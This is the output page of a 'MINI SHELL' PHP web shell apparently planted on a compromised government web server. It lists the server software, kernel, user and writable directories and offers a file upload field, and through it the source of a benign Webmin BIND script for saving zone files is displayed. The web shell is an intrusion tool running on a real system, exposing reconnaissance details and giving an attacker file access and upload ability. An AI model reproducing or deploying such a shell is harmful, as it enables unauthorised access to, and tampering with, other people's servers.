MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/libexec/webmin/bind8/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/libexec/webmin/bind8/save_text.cgi
#!/usr/bin/perl
# save_text.cgi
# Save a manually edit zone file

require './bind8-lib.pl';
&ReadParseMime();
$zone = &get_zone_name($in{'index'}, $in{'view'});
$file = &absolute_path($zone->{'file'});
$tv = $zone->{'type'};
&can_edit_zone($zone) ||
	&error($text{'master_ecannot'});
$access{'file'} || &error($text{'text_ecannot'});
$access{'ro'} && &error($text{'master_ero'});

# Write out the file
&lock_file(&make_chroot($file));
$in{'text'} =~ s/\r//g;
$in{'text'} .= "\n" if ($in{'text'} !~ /\n$/);
&open_tempfile(FILE, ">".&make_chroot($file));
&print_tempfile(FILE, $in{'text'});
&close_tempfile(FILE);

# BUMP soa too
if ($in{'soa'}) {
	@recs = &read_zone_file($file, $zone->{'name'});
	&bump_soa_record($file, \@recs);
	}

&unlock_file(&make_chroot($file));
&webmin_log("text", undef, $zone->{'name'},
	    { 'file' => $file });
&redirect("edit_master.cgi?index=$in{'index'}&view=$in{'view'}");


Anon7 - 2021